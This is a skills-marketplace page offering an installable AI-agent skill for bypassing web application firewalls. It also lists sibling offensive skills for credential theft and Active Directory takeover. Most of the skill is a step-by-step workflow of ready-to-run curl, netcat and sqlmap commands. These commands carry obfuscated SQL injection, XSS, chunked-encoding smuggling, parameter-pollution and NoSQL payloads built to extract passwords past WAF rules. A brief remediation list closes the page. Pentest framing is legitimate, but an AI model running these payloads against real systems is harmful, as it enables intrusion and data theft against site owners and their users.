Skip to main content
performing-web-application-firewall-bypass Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF rule effectiveness and bypass resistance.
설치로 이동 Skills Marketplace 커뮤니티가 만든 AI 스킬을 발견하고 탐색하세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypass명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Zip 다운로드 다운로드 중... 이 저장소의 다른 Skills abusing-dpapi-for-credential-access Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
abusing-shadow-credentials-for-privesc Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
acquiring-disk-image-with-dd-and-dcfldd Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
name performing-web-application-firewall-bypass description Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF rule effectiveness and bypass resistance. domain cybersecurity subdomain web-application-security tags ["waf-bypass","waf-evasion","sql-injection","xss","payload-obfuscation","encoding-bypass","web-security"] version 1.0 author mahipal license Apache-2.0 nist_csf ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] mitre_attack ["T1190","T1059.007","T1505.003","T1083","T1027"]
Performing Web Application Firewall Bypass
When to Use
When confirmed vulnerabilities are blocked by WAF signature-based detection
During penetration testing where WAF prevents exploitation of known issues
When evaluating WAF rule effectiveness against evasion techniques
During red team engagements requiring bypass of perimeter security controls
When testing custom WAF rules for completeness and bypass resistance
Prerequisites
Burp Suite Professional with SQLMap integration
wafw00f for WAF fingerprinting and identification
SQLMap with tamper scripts for automated WAF bypass
Understanding of WAF detection mechanisms (signature, regex, behavioral)
Collection of encoding and obfuscation techniques per attack type
Knowledge of HTTP protocol nuances exploitable for evasion
Workflow
Step 1 — Identify and Fingerprint the WAF
wafw00f http://target.com
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"
curl "http://target.com/page?id=1' OR 1=1--" -v
Step 2 — Bypass with Encoding and Obfuscation
curl "http://target.com/page?id=1%27%20OR%201%3D1--"
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"
curl -X POST http://target.com/search \
-d
curl
curl
curl
curl
curl
"q=<script>alert(1)</script>"
"http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"
"http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"
"http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
"http://target.com/page?id=1'%00 OR 1=1--"
"http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
Step 3 — Bypass with HTTP Method and Protocol Tricks
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80
curl -X POST http://target.com/page \
-H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
-d "id=1' OR 1=1--"
curl -X POST http://target.com/page \
-F "id=1' OR 1=1--"
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
Step 4 — Bypass with Payload Splitting and HPP
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"
curl -X POST http://target.com/api/query \
-H "Content-Type: application/json" \
-d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt":"", "$where":"1==1"}}'
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d "<data><id>1' UNION SELECT password FROM users--</id></data>"
Step 5 — Use SQLMap Tamper Scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between
sqlmap -u "http://target.com/page?id=1" \
--tamper=randomcase,space2comment,between,charunicodeencode \
--random-agent --level 5 --risk 3
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,randomcase \
--delay=2 --random-agent \
--technique=B --batch
Step 6 — XSS WAF Bypass Techniques
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"
curl "http://target.com/page?q=<script>alert\x601\x60</script>"
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"
curl "http://target.com/page?q=<img src=x onerror=alert(1)>"
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
Key Concepts Concept Description Signature Evasion Obfuscating payloads to avoid matching WAF regex patterns Encoding Bypass Using URL, Unicode, or HTML encoding to disguise malicious characters Protocol-Level Bypass Exploiting HTTP protocol features (chunked encoding, method override) Tamper Scripts SQLMap modules that transform payloads to evade specific WAF rules Content-Type Confusion Sending payloads in unexpected content types the WAF does not inspect Parameter Pollution Splitting payloads across duplicate parameters to evade per-parameter inspection Behavioral vs Signature WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder)
Tools & Systems Tool Purpose wafw00f WAF fingerprinting and identification SQLMap Automated SQL injection with WAF bypass tamper scripts waf-bypass.com Community-maintained WAF bypass payload database Awesome-WAF Curated GitHub repository of WAF bypass techniques Burp Suite HTTP proxy for manual payload crafting and WAF response analysis XSStrike XSS scanner with WAF detection and bypass capabilities
Common Scenarios
SQLi Through JSON — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules
XSS via Event Handlers — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules
Encoding Chain Bypass — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF
Chunked Transfer Bypass — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching
Method Override — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not inspect
Output Format ## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes
### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |
### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |
### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation